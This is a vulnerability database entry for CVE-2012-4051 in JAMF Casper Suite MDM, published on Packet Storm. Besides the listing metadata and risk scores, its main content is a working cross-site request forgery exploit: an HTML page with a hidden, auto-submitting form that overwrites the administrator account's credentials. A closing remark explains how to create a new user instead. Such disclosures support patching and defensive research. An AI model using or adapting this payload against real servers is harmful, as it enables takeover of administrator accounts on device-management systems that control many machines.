JAMF Casper Suite MDM Cross Site Request Forgery

🗓️ 28 Sep 2012 00:00:00Reported by Jacob HolcombType

packetstorm🔗 packetstormsecurity.com👁 37 Views

JAMF Casper Suite MDM CSRF Vulnerability Exploi

Reporter	Title	Published	Views	Family All 9
0day.today	JAMF Casper Suite MDM CSRF Vulnerability	27 Sep 201200:00	–	zdt
CVE	CVE-2012-4051	28 Sep 201210:00	–	cve
Cvelist	CVE-2012-4051	28 Sep 201210:00	–	cvelist
Exploit DB	JAMF Casper Suite MDM - Cross-Site Request Forgery	27 Sep 201200:00	–	exploitdb
EUVD	EUVD-2012-3995	7 Oct 202500:30	–	euvd
NVD	CVE-2012-4051	28 Sep 201210:40	–	nvd
Prion	Cross site request forgery (csrf)	28 Sep 201210:40	–	prion
RedhatCVE	CVE-2012-4051	22 May 202501:42	–	redhatcve
CERT	JAMF Software Casper Suite contains a cross-site request forgery vulnerability	24 Sep 201200:00	–	cert

`CVE-2012-4051 - JAMF Casper Suite MDM CSRF Vulnerability  
  
# Exploit Title: JAMF Software's Casper Suite MDM Solution CSRF  
# Date: Discovered and reported July 2012  
# Author: Jacob Holcomb/Gimppy042  
# Software JAMF Software Casper Suite (http://jamfsoftware.com/products/casper-suite)  
# CVE : CVE-2012-4051 for the CSRF   
  
  
<head>  
<title>PwNd JAMF Casper Admin CSRF BY:Jacob Holcomb</title>  
</head>  
  
<body>  
  
<form name="csrf"  
action="https://CASPERSUITE_SERVER:8443/editAccount.html" method="post">  
<input type="hidden" name="view" value="Save"/>  
<input type="hidden" name="source" value="jss"/>  
<input type="hidden" name="lastPage" value="editAccountGeneral.jsp"/>  
<input type="hidden" name="lastTab" value="Account"/>  
<input type="hidden" name="username" value="Gimppy"/>  
<input type="hidden" name="realname" value="Pwnd"/>  
<input type="hidden" name="email" value="Admin"/>  
<input type="hidden" name="phone" value="Password"/>  
<input type="hidden" name="password" value="pwnd1"/>  
<input type="hidden" name="vpassword" value="pwnd1"/>  
<input type="hidden" name="user_id" value="1"/>  
</form>  
  
<script>  
document.csrf.submit();  
</script>  
  
</body>  
</html>  
  
  
If the HTML parameter/variable "user_id" is changed to a value of negative  
one (-1) this request to the web server will create a new user.  
  
`

28 Sep 2012 00:00Current

6.7Medium risk

Vulners AI Score6.7

EPSS0.01828